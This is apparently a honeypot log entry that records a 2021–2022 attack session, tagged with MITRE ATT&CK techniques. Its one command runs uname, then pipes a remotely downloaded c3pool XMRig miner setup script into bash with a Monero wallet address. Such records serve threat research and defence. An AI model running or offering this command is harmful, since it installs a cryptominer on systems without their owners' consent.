Honeypot attack session (period 2021_2022), commands issued:
uname -a; cd /tmp ;curl -s -L http://download.c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 49UVbUeeWjV824vMb8z41M9BqLMxQSkz41pP76CFtkSuKfTwhRWw5MWE13rdB5uxerbnE8Rj2h2nvGAfEPuApn9bGNUV4UJ

MITRE ATT&CK techniques observed:
T1087 Account Discovery
T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information